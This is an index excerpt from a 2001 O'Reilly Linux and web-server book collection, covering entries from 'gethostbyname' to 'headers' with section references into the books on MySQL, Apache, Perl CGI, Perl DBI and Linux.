gethostbyname( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
getimagesize( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
GetInfo( ): 7.3.4. Many Attributes and Options (Programming the Perl DBI)
getInt( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getkeycodes command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
getlastaccess( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getlastbrowser( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getlastemail( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getlasthost( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getlastmod( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getlastref( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getline command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
getline library: 14.2.6. Interface Building Tools (Running Linux)
get_local_host( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
GET_LOCK( ) function: 15.1. MySQL SQL (MySQL & mSQL)
getlogdir( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getLoginTimeout( ) method: 22. JDBC Reference (MySQL & mSQL)
getLogStream( ) method: 22. JDBC Reference (MySQL & mSQL)
getLong( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getMajorVersion( ) method: 22. JDBC Reference (MySQL & mSQL)
getMaxFieldSize( ) method: 22. JDBC Reference (MySQL & mSQL)
getMaxRows( ) method: 22. JDBC Reference (MySQL & mSQL)
getMetaData( ) method: 14.3.1. Meta Data (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getMinorVersion( ) method: 22. JDBC Reference (MySQL & mSQL)
get_module_config( ): 15.3.5. Command Table (Apache: The Definitive Guide)
getMonth( ) method: 22. JDBC Reference (MySQL & mSQL)
getMoreResults( ) method: 22. JDBC Reference (MySQL & mSQL)
getmyinode( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getmypid( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getmyuid( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getNanos( ) method: 22. JDBC Reference (MySQL & mSQL)
getObject( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
Getopt::Long module: 12.3. Inverted Index Search (CGI Programming with Perl)
getopts command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
getpid( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
getPrecision( ) method: 22. JDBC Reference (MySQL & mSQL)
getPropertyInfo( ) method: 22. JDBC Reference (MySQL & mSQL)
getpwnam( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
getpwuid( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
getrandmax( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getRef( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getResultSet( ) method: 14.3.2. Processing Dynamic SQL (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getResultSetConcurrency( ) method: 22. JDBC Reference (MySQL & mSQL)
getResultSetType( ) method: 22. JDBC Reference (MySQL & mSQL)
getRow( ) method: 22. JDBC Reference (MySQL & mSQL)
getScale( ) method: 22. JDBC Reference (MySQL & mSQL)
getSchemaName( ) method: 22. JDBC Reference (MySQL & mSQL)
getsequenceinfo function: 21.3. Msql.pm API (MySQL & mSQL)
Get/SetConnectOption( ): 7.3.4. Many Attributes and Options (Programming the Perl DBI)
Get/SetStmtOption( ): 7.3.4. Many Attributes and Options (Programming the Perl DBI)
getShort( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getSQLTypeName( ) method: 22. JDBC Reference (MySQL & mSQL)
getstartlogging( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getStatement( ) method: 22. JDBC Reference (MySQL & mSQL)
getString( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getSubString( ) method: 22. JDBC Reference (MySQL & mSQL)
getTableName( ) method: 22. JDBC Reference (MySQL & mSQL)
get_time( ): 14.6.10. Time and Date Functions (Apache: The Definitive Guide)
getTime( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getTimestamp( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
gettoday( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
get_token( ): 14.6.11. String Functions (Apache: The Definitive Guide)
gettotal( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getTransactionIsolation( ) method: 22. JDBC Reference (MySQL & mSQL)
getty command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
getty program: 4.18. Processes (Running Linux)
5.3.3. rc files (Running Linux)
gettype( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
getType( ) method: 22. JDBC Reference (MySQL & mSQL)
getTypeMap( ) method: 22. JDBC Reference (MySQL & mSQL)
getUnicodeStream( ) method: 22. JDBC Reference (MySQL & mSQL)
getUpdateCount( ) method: 14.3.2. Processing Dynamic SQL (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
get_virthost_addr( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
getparents( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
getWarnings( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
getword( ): 14.6.11. String Functions (Apache: The Definitive Guide)
getword_conf( ): 14.6.11. String Functions (Apache: The Definitive Guide)
getword_nulls( ): 14.6.11. String Functions (Apache: The Definitive Guide)
getword_white( ): 14.6.11. String Functions (Apache: The Definitive Guide)
getYear( ) method: 22. JDBC Reference (MySQL & mSQL)
Ghostscript: 8.4.3. Choosing Printer Software (Running Linux)
8.4.6. Configuring Ghostscript (Running Linux)
ghostscript command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Ghostview utility: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
gid variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
GIDs (group IDs), NFS, NIS and: 15.4.1. Configuring NFS (Running Linux)
GIF images: 3.4.1. Check the Client Browser (CGI Programming with Perl)
13.1.1. GIF (CGI Programming with Perl)
converting from PNG images to: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
GIFgraph: 13.4.2. GD::Graph (CGI Programming with Perl)
PNG features vs.: 13.1.2. PNG (CGI Programming with Perl)
GIMP application: B.2. A Brief History of the GNOME Project (Running Linux)
B.4. Some GNOME Applications (Running Linux)
9.4.2. The GIMP (Running Linux)
GIMP Toolkit (GTK): 13.4.2. More Features (Running Linux)
14.2.6. Interface Building Tools (Running Linux)
Glade utility: B.5.3. Programming Tools (Running Linux)
glibc2 library: 7.2.1. Upgrading Libraries (Running Linux)
glob command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
glob notation, avoiding use of: 17.1.8. Avoid the Shell (CGI Programming with Perl)
global command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
global directories for data, configuration, and template files: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
global key mappings, KDE: 16.3.5.1. Global keys (Linux in a Nutshell)
global session cache (SSL): 13.6.6. The Global Session Cache (Apache: The Definitive Guide)
global variables
declarations, strict mode and: 15.2.1. Use strict (CGI Programming with Perl)
declaring and initializing: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
Embperl module
defining for HTML templates: 6.4.4. Global Variables (CGI Programming with Perl)
undefining at end of HTTP request: 6.4.2.2. Variable scope (CGI Programming with Perl)
localizing: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
@RECORDS AND@RELATED_RECORDS: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
reducing number of with strict pragma: 1.2.1. Sample CGI (CGI Programming with Perl)
globbing: 4.8. Filename Expansion (Running Linux)
globbing wildcard characters: 12.1. Searching One by One (CGI Programming with Perl)
gmdate( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
gm_timestr_822( ): 14.6.10. Time and Date Functions (Apache: The Definitive Guide)
gname2id( ): 14.6.13. User and Group Functions (Apache: The Definitive Guide)
GNAT interpreter: 13.7. Other Languages (Running Linux)
GNOME: 15. GNOME (Linux in a Nutshell)
applets: 15.1. Desktop Overview (Linux in a Nutshell)
15.2. The Panel (Linux in a Nutshell)
configuration applications: 15.4. The GNOME Control Center (Linux in a Nutshell)
configuration options, setting: 15.1. Desktop Overview (Linux in a Nutshell)
Control Center: 15.4. The GNOME Control Center (Linux in a Nutshell)
Animation tab: 15.4.2.1. Animation (Linux in a Nutshell)
Buttons tab: 15.4.2.2. Buttons (Linux in a Nutshell)
desktop settings: 15.4.1.1. Background (Linux in a Nutshell)
document handlers: 15.4.3. Document Handlers (Linux in a Nutshell)
keyboard settings: 15.4.5.1. Keyboard (Linux in a Nutshell)
Menu tab: 15.4.2.4. Menu (Linux in a Nutshell)
Miscellaneous tab: 15.4.2.5. Miscellaneous (Linux in a Nutshell)
mouse settings: 15.4.5.2. Mouse (Linux in a Nutshell)
multimedia settings: 15.4.4. Multimedia (Linux in a Nutshell)
Panel Objects tab: 15.4.2.3. Panel objects (Linux in a Nutshell)
panel settings: 15.4.2. Panel (Linux in a Nutshell)
startup programs: 15.4.6. Session (Linux in a Nutshell)
user interface settings: 15.4.7. User Interface (Linux in a Nutshell)
CORBA and: 15. GNOME (Linux in a Nutshell)
default editor: 15.4.3.1. Default editor (Linux in a Nutshell)
desktop customization: 15.4. The GNOME Control Center (Linux in a Nutshell)
desktop icons, adding: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
Enlightenment window manager (see Enlightenment window manager)
help files: 15.4.3.3. URL handlers (Linux in a Nutshell)
main menu: 15.3. The Main Menu (Linux in a Nutshell)
customizing the: 15.3. The Main Menu (Linux in a Nutshell)
menu editor: 15.3.2. Editing the Menu (Linux in a Nutshell)
panels
adding application launchers: 15.2.2. Adding an Application Launcher to the Panel (Linux in a Nutshell)
configuring: 15.2.1. Additional Panels (Linux in a Nutshell)
15.4.2. Panel (Linux in a Nutshell)
creating new: 15.2.1. Additional Panels (Linux in a Nutshell)
settings for: 15.2. The Panel (Linux in a Nutshell)
Sawfish window manager (see Sawfish window manager)
screensavers: 15.4.1.2. Screensaver (Linux in a Nutshell)
shortcuts, adding: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
themes, selecting: 15.4.1.3. Theme selector (Linux in a Nutshell)
window managers used with: 15. GNOME (Linux in a Nutshell)
GNOME desktop: 1.5. Sources and Licenses (Linux in a Nutshell)
.gnome-desktop directory: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
GNOME project: B.1. What Is GNOME? (Running Linux)
1.5.6. KDE and GNOME (Running Linux)
11. Customizing Your X Environment (Running Linux)
applications for: B.4. Some GNOME Applications (Running Linux)
as development platform: B.5. GNOME as a Development Platform (Running Linux)
elements of: B.1.2. The Role of GNOME (Running Linux)
GNOME-print model: B.5.4. The GNOME Printing Architecture (Running Linux)
history of: B.2. A Brief History of the GNOME Project (Running Linux)
obtaining and installing: B.6. Getting and Installing GNOME (Running Linux)
GNOME-RPM: 5.1.2. GNOME-RPM (Linux in a Nutshell)
gnorpm command: 5.1.2. GNOME-RPM (Linux in a Nutshell)
GNU C compiler: 13.1. The Two APIs (MySQL & mSQL)
GNU C preprocessor: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
GNU debugger (see gdb)
GNU Emacs text editor: 9.2. The Emacs Editor (Running Linux)
GNU General Public License: 1.6. About Linux's Copyright (Running Linux)
GNU getline library: 14.2.6. Interface Building Tools (Running Linux)
GNU Network Object Model Environment (see GNOME)
GNU project: 1.3. Commands on Linux (Linux in a Nutshell)
GNU SQL: 7.4. GNU SQL (MySQL & mSQL)
GNU utilities: 1.2. A Brief History of Linux (Running Linux)
1.5.1. Basic Commands and Utilities (Running Linux)
Gnumeric application: B.4. Some GNOME Applications (Running Linux)
GNUS reader: 9.2.7. Running Commands and Programming Within Emacs (Running Linux)
go command: 17.1. MySQL Utilities (MySQL & mSQL)
go script (example): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
GoldStar CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)
goto command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
GPL (General Public License): 1.5. Sources and Licenses (Linux in a Nutshell)
1.6. About Linux's Copyright (Running Linux)
gprof command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gprof utility: 1.5.4. Programming Languages and Utilities (Running Linux)
14.2.2. Profiling and Performance Tools (Running Linux)
graceful flag (apachect1): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
gradient background colors (KDE): 11.3.2. Using KDE (Running Linux)
grammar in names, guidelines for: 16.2. Coding Guidelines (CGI Programming with Perl)
GRANT statement: 15.1. MySQL SQL (MySQL & mSQL)
graphic images, creating: 13. Creating Graphics on the Fly (CGI Programming with Perl)
image data, outputting: 13.2. Outputting Image Data (CGI Programming with Perl)
Image::Magick module, using: 13.5. PerlMagick (CGI Programming with Perl)
LZW compression, enabling: 13.5.1.2. Enabling LZW compression (CGI Programming with Perl)
requirements: 13.5.1.1. Requirements (CGI Programming with Perl)
graphical browsers on AlphaLinux: C.7.4. Graphical Browser Considerations (Running Linux)
graphics: 9.4. Graphics (Running Linux)
engines for GNOME: B.5.1.4. The Canvas/Libart engines (Running Linux)
GIMP application: 9.4.2. The GIMP (Running Linux)
ImageMagick package: 8.4.4. Checking Print Utilities (Running Linux)
9.4. Graphics (Running Linux)
9.4.1. ImageMagick (Running Linux)
inline images: 16.1.4.5. Embedded images (Running Linux)
Linux/SPARC and: F.3.1. Graphics and X (Running Linux)
POVRAY program: 9.4.3. POVRAY (Running Linux)
Graphics Interchange Format (see GIF images)
graphics toolkit, Tcl scripting language: 15.3.5.2. ptkdb (CGI Programming with Perl)
graphing system load average: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
graphs
GD modules, producing with: 13.4.2. GD::Graph (CGI Programming with Perl)
GD::Graph modules for creating: 13.4.2. GD::Graph (CGI Programming with Perl)
generated by loads.cgi (sample): 13.3.2. Using GD (CGI Programming with Perl)
three-dimensional, generating with GD::Graph3D: 13.4.3. GD::Graph3D (CGI Programming with Perl)
> (greater than): 4.9. Saving Your Output (Running Linux)
>& (redirecting errors): 4.9. Saving Your Output (Running Linux)
>> (for appending output): 4.9. Saving Your Output (Running Linux)
in HTML: 16.1.4.6. More HTML features (Running Linux)
greater than (>): 4.9. Saving Your Output (Running Linux)
in HTML: 16.1.4.6. More HTML features (Running Linux)
GREATEST( ) function: 15.1. MySQL SQL (MySQL & mSQL)
Greenwich Mean Time (see DATE_GMT variable)
grep command: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.4. Examples of Searching (Linux in a Nutshell)
filtering out binary files with: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
metacharacters for: 9.2. Metacharacters, Listed by Linux Program (Linux in a Nutshell)
system, using in Perl: 17.1.8. Avoid the Shell (CGI Programming with Perl)
grep_search1.cgi script: 12.1. Searching One by One (CGI Programming with Perl)
grep_search2.cgi script (example): 12.2. Searching One by One, Take Two (CGI Programming with Perl)
grids, fvwm2: 17. An Alternative Window Manager: fvwm2 (Linux in a Nutshell)
17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
17.8. Changing the Size of the Desktop (Linux in a Nutshell)
groff: 1.5.2. Text Processing and Word Processing (Running Linux)
9.3.2. groff (Running Linux)
9.5. Printing (Running Linux)
groff command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
group authentication: 5.7. Digest Authentication (Apache: The Definitive Guide)
GROUP BY clause: 3.3.4.2. Grouping data (Programming the Perl DBI)
GROUP BY column: 15.1. MySQL SQL (MySQL & mSQL)
Group directive: 2.4.1.2. Group (Apache: The Definitive Guide)
group file: 5.7.4. The Group File (Running Linux)
group ID: 5.7.1. The passwd File (Running Linux)
5.7.4. The Group File (Running Linux)
group variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
groupadd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
groupdel command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
grouping databases: 6.7.3. Grouping and Ordering (MySQL & mSQL)
groupmod command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.7. Modifying User Accounts (Running Linux)
groups: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.13.2. Owners and Groups (Running Linux)
5.7.4. The Group File (Running Linux)
5.7.4. The Group File (Running Linux)
(see also users)
ASI functions for: 14.6.13. User and Group Functions (Apache: The Definitive Guide)
creating: 2.4.1. Webuser and Webgroup (Apache: The Definitive Guide)
displaying for user: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
permissions (see permissions)
groups command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.4. The Group File (Running Linux)
growth, planning for: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
grpck command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
grpconv command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
grpunconv command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gs command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gscd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
GSS-API server repository locator: 14.4.1. Repository Locators (Linux in a Nutshell)
gsub command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
> comparison operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
GTK (GIMP Toolkit): 13.4.2. More Features (Running Linux)
14.2.6. Interface Building Tools (Running Linux)
Gtk module (Perl): 13.4.2. More Features (Running Linux)
GTK+ toolkit: B.5.1.1. GTK+ (GIMP toolkit) (Running Linux)
guest access to Windows services: 12.1.3.2. Configuring Samba (Running Linux)
guest book servlet: 14.4. A Guest Book Servlet (MySQL & mSQL)
GUI development toolkit (Tk): 1.2. Perl (Programming the Perl DBI)
GUILE: B.2. A Brief History of the GNOME Project (Running Linux)
GUIs, X Window System and: 1.5.5. The X Window System (Running Linux)
gunzip command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gunzip utility: 7.1.1. Using gzip and bzip2 (Running Linux)
7.1.3. Using tar with gzip (Running Linux)
7.1.3. Using tar with gzip (Running Linux)
(see also gzip utility)
Guppi application: B.4. Some GNOME Applications (Running Linux)
gzexe command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gzip command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gzip encoding: 2.6.3. Encoding (CGI Programming with Perl)
gzip utility: 7.1.1. Using gzip and bzip2 (Running Linux)
8.1.1.2. Backing up to floppy (Running Linux)
8.1.1.3. To gzip, or not to gzip? (Running Linux)
8.6.3. Restoring Files from Backup (Running Linux)
errors: 3.3.3. Problems Installing the Software (Running Linux)
tar utility with: 7.1.3. Using tar with gzip (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: H

<h#> HTML tags: 16.1.4.1. HTML basics (Running Linux)
\h command: 17.1. MySQL Utilities (MySQL & mSQL)
H command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
-h flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
$h->err( ): 4.5.2. Error Diagnostics (Programming the Perl DBI)
A.4. Methods Common to All Handles (Programming the Perl DBI)
$h->errstr( ): 4.5.2. Error Diagnostics (Programming the Perl DBI)
A.4. Methods Common to All Handles (Programming the Perl DBI)
$h->func( ): A.4. Methods Common to All Handles (Programming the Perl DBI)
$h->state( ): 4.5.2. Error Diagnostics (Programming the Perl DBI)
7.3.2. Standard Error Codes (Programming the Perl DBI)
A.4. Methods Common to All Handles (Programming the Perl DBI)
$h->trace( ): A.4. Methods Common to All Handles (Programming the Perl DBI)
$h->trace_msg( ): A.4. Methods Common to All Handles (Programming the Perl DBI)
hacking support: 7.4.2. Building the Kernel (Running Linux)
halt command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
handler_rec structure: 15.3.17. Handlers (Apache: The Definitive Guide)
handlers: 15.1. Overview (Apache: The Definitive Guide)
15.3.17. Handlers (Apache: The Definitive Guide)
Apache/Perl, not implementing: 17.3.1. Installation and Configuration (CGI Programming with Perl)
response handlers: 17.3. mod_perl (CGI Programming with Perl)
handlers, Apache: 4.8. Handlers (Apache: The Definitive Guide)
handles: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
4.2. Handles (Programming the Perl DBI)
attributes: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
child and parent: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
database (see database handles)
driver: 4.2.1. Driver Handles (Programming the Perl DBI)
encapsulating a connection to a database: 4.2.2. Database Handles (Programming the Perl DBI)
encapsulating SQL statements for execution in a database: 4.2.3. Statement Handles (Programming the Perl DBI)
statement (see statement handles)
handshake protocol (SSL): D.1. Handshake Protocol (Apache: The Definitive Guide)
attacks and: D.1.2. Version Rollback Attacks (Apache: The Definitive Guide)
handshaking (PPP): 15.2.1.3. Setting up PPP (Running Linux)
hard disk (client user), storing cookies on: 11.3.1. Setting Cookies (CGI Programming with Perl)
hard drives: 2.2.2. Repartitioning Concepts (Running Linux)
(see also disk space)
booting Linux from: 3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
5.2.2. Using LILO (Running Linux)
controller requirements: 1.9.3. Hard Drive Controller Requirements (Running Linux)
"Drive not bootable" error: 3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
errors: 3.3.3. Problems Installing the Software (Running Linux)
geometry of: 3.3.2.2. Problems recognizing hard drive or controller (Running Linux)
3.3.3. Problems Installing the Software (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
Linux requirements: 1.9.4. Hard Drive Space Requirements (Running Linux)
partitions: 2.2.2. Repartitioning Concepts (Running Linux)
Linux requirements: 2.2.3. Linux Partition Requirements (Running Linux)
LinuxPPC: D.3.2. Partitioning the Hard Disk (Running Linux)
repartitioning: 2.2.4. Repartitioning Your Drives (Running Linux)
hard_timeout( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
hardware
Alpha systems: C.6.2. Preparing Hardware for Installation (Running Linux)
requirements: C.5.1. Minimum Hardware (Running Linux)
resources on: C.4. Collecting System Hardware Information (Running Linux)
booting Linux/m86k: E.4.1. Booting Linux (Running Linux)
building kernel and: 7.4.2. Building the Kernel (Running Linux)
detection parameters: 3.1.1. Booting Linux (Running Linux)
drive controllers: 1.9.3. Hard Drive Controller Requirements (Running Linux)
fax devices: 8.4.4. Checking Print Utilities (Running Linux)
hardware groups: 5.7.4. The Group File (Running Linux)
incompatibility: 3.3.1. Problems with Booting the Installation Media (Running Linux)
ISDN, configuring: 15.3.1. Configuring Your ISDN Hardware (Running Linux)
Linux PPC concerns: D.6. Getting Hardware to Do What You Want It to Do (Running Linux)
Linux requirements: 1.9. Hardware Requirements (Running Linux)
Linux/m86k: E.2. Supported Hardware (Running Linux)
LinuxPPC: D.1. Compatible Hardware (Running Linux)
mice: 1.9.6.1. Mice and other pointing devices (Running Linux)
modems: 1.9.6.5. Modems (Running Linux)
monitors and video adapters: 1.9.5. Monitor and Video Adapter Requirements (Running Linux)
printers: 1.9.6.4. Printers (Running Linux)
8.4.1. Checking Printer Hardware (Running Linux)
8.4.13. Printer Optimization (Running Linux)
Sun SPARC systems: F.1. Supported Hardware (Running Linux)
tape drives: 8.1.1.1. Backing up to tape (Running Linux)
troubleshooting: 3.3.2. Hardware Problems (Running Linux)
undetected during book: 5.2.2.3. Specifying boot time options (Running Linux)
X Window System requirements: 10.2. Hardware Requirements (Running Linux)
hardware, commands for: 2.1.3. Hardware (Linux in a Nutshell)
hash mark (#)
3.2.3. Editing /etc/fstab (Running Linux)
13.2.2. Some Syntax Rules (Running Linux)
as root prompt: 5.1. Running the System (Running Linux)
for comments: 1.8.2. Semimanual Method (Apache: The Definitive Guide)
1.8.4. Configuration Settings and Rules (Apache: The Definitive Guide)
for deprecated methods: 22. JDBC Reference (MySQL & mSQL)
bash: 7.7. Built-in Commands (Linux in a Nutshell)
hash references
fetchall_arrayref( ) and: 5.6.2.3. Slice hash reference argument (Programming the Perl DBI)
retrieved from databases: 5.1.3. Fetching Data (Programming the Perl DBI)
hash tables
DBM files and: 10.2. DBM Files (CGI Programming with Perl)
tying to DBM file: 10.2. DBM Files (CGI Programming with Perl)
untying from database files: 10.2.1. DB_File (CGI Programming with Perl)
hash values: 2.7.1. Creating a New Database (Programming the Perl DBI)
hash variables: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
#! command
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
csh/tcsh command: 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
hashes
command-line options, storing in: 12.3. Inverted Index Search (CGI Programming with Perl)
of data or hash reference, subroutines returning: 4.3. Decoding Form Input (CGI Programming with Perl)
elements, interpreting as attributes for HTML elements: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
hash algorithms, using to generate digests: 8.3. Encryption (CGI Programming with Perl)
HTML::Template and: 6.3.1.1. Loops (CGI Programming with Perl)
index file, binding to: 12.3. Inverted Index Search (CGI Programming with Perl)
JavaScript, references to: 5.3.2.1. start_html (CGI Programming with Perl)
meta tags, reference to: 5.3.2.1. start_html (CGI Programming with Perl)
read/write basis for accessing: 10.2.1. DB_File (CGI Programming with Perl)
hashstat command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
hashtables
DBM files, querying limitations: 2.7.3.4. Querying limitations of DBM files and hashtables (Programming the Perl DBI)
traversing chained records: 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
HAVING clause: 15.1. MySQL SQL (MySQL & mSQL)
hd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
3.3.3. Problems Installing the Software (Running Linux)
hda# files: 3.1.2. Drives and Partitions Under Linux (Running Linux)
head command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
HEAD method (HTTP): 4.1.2. What Is an HTTP Method? (Apache: The Definitive Guide)
HEAD requests: 2.3.1.3. HEAD (CGI Programming with Perl)
header( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
$Header keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
header method
disabling caching with: 11.3.2. Testing for Cookies (CGI Programming with Perl)
locating: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
header, Texinfo: 9.3.3.1. Writing the Texinfo source (Running Linux)
HeaderName directive: 3.10.1. HeaderName (Apache: The Definitive Guide)
7.1.12. HeaderName (Apache: The Definitive Guide)
headers: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
(see also status headers)
CGI: 4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
CGI programs
generating partial headers: 3.3.1. Partial Headers (CGI Programming with Perl)
requesting no caching: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
email
adding extra to: 9.4.1. Command-Line Options (CGI Programming with Perl)
fields: 9.3. Structure of Internet Email (CGI Programming with Perl)
environment variables for: 3.2.1. CGI Environment Variables (CGI Programming with Perl)
HTML, CGI application errors and: 15.1.4. "Malformed" Header (CGI Programming with Perl)
HTML tables, rows consisting of ... cells: 6.4.3.1. Tables (CGI Programming with Perl)
HTTP: 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
2.2.2. HTTP Headers (CGI Programming with Perl)
2.4. Server Responses (CGI Programming with Perl)
CGI scripts, declaring type of document output: 1.2.1. Sample CGI (CGI Programming with Perl)
Cookie header: 11.3.1. Setting Cookies (CGI Programming with Perl)
cookie header lines: 11. Maintaining State (CGI Programming with Perl)
CRLF requirement: 3.3.1.1. Outputting documents (CGI Programming with Perl)
environment variables, information on server and client: 3.2. Environment Variables (CGI Programming with Perl)
error handling and: 5.5.3. Error Subroutines (CGI Programming with Perl)
extensions: 2.3.2.8. Cookies (CGI Programming with Perl)
fields: 2.2.2. HTTP Headers (CGI Programming with Perl)
2.3.2. Request Header Field Lines (CGI Programming with Perl)
formatting information in: 1.2. Introduction to CGI (CGI Programming with Perl)
generating with CGI.pm module: 5.3. Generating Output with CGI.pm (CGI Programming with Perl)
